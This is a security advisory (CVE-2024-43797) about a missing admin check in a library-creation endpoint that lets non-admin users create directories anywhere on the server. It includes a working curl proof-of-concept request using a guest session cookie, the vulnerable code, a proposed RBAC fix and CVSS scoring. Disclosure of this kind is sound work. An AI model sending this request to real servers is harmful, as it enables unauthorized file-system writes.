Skip to content

Path Traversal (RBAC: A non-admin user can create directories anywhere in the system)

Moderate
advplyr published GHSA-gg56-vj58-g5mc Aug 31, 2024

Package

No package listed

Affected versions

<=2.12.3

Patched versions

2.13.0

Description

Summary

Greetings Team, Me and Kartik discovered a path traversal issue (more like abusing an admin feature as a non-admin user) which makes the vulnerability lie between path traversal and RBAC issues.

Details

Non-admin user is not allowed to create libraries (or access only the ones they have permission to). However, the LibraryController is missing the check for admin user and thus allows this vulnerability.

async create(req, res) {
const newLibraryPayload = {
...req.body
}
if (!newLibraryPayload.name || !newLibraryPayload.folders || !newLibraryPayload.folders.length) {

We believe that allowing non-admin users to write to any directory in the system can be seen as a form of path traversal. However, since it can be restricted to only admin permissions, fixing this is relatively simple and falls more into the realm of Role-Based Access Control (RBAC).

PoC

Create a user with no permissions:

image

A POC would be to send a request like so:

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 10.0.0.162:3333' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/json' -H $'Content-Length: 468' -H $'Origin: http://10.0.0.162:3333' -H $'Connection: keep-alive' -H $'Referer: http://10.0.0.162:3333/config/libraries' -H $'Priority: u=0' \
    -b $'connect.sid=<GUEST_COOKIE>' \
    --data-binary $'{\"name\":\"Nishant-hacked-1.txt\",\"provider\":\"google\",\"folders\":[{\"fullPath\":\"/tmp/nishant-kartik-poc.txt\"}],\"icon\":\"database\",\"mediaType\":\"text\",\"settings\":{\"coverAspectRatio\":1,\"disableWatcher\":false,\"skipMatchingMediaWithAsin\":false,\"skipMatchingMediaWithIsbn\":false,\"autoScanCronExpression\":null,\"hideSingleBookSeries\":false,\"onlyShowLaterBooksInContinueSeries\":false,\"metadataPrecedence\":[\"folderStructure\",\"audioMetatags\",\"nfoFile\",\"txtFiles\",\"opfFile\",\"absMetadata\"]}}' \
    $'http://10.0.0.162:3333/api/libraries'

I am also attaching a video POC for the same: https://www.loom.com/share/58f28fa857e44807857f19987ef1d696

Fix

Using a similar RBAC check used in the other files, should do the trick. (Like in BackupController for upload functionality)

if (!req.user.isAdminOrUp) {
Logger.error(`[BackupController] Non-admin user "${req.user.username}" attempting to access backups`)
return res.sendStatus(403)
}

We can have something similar for LibraryController. You can find the fix PR here #pull1

Impact

Missing RBAC check allows non-admin users to write folders anywhere in the system.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

CVE ID

CVE-2024-43797

Weaknesses

Credits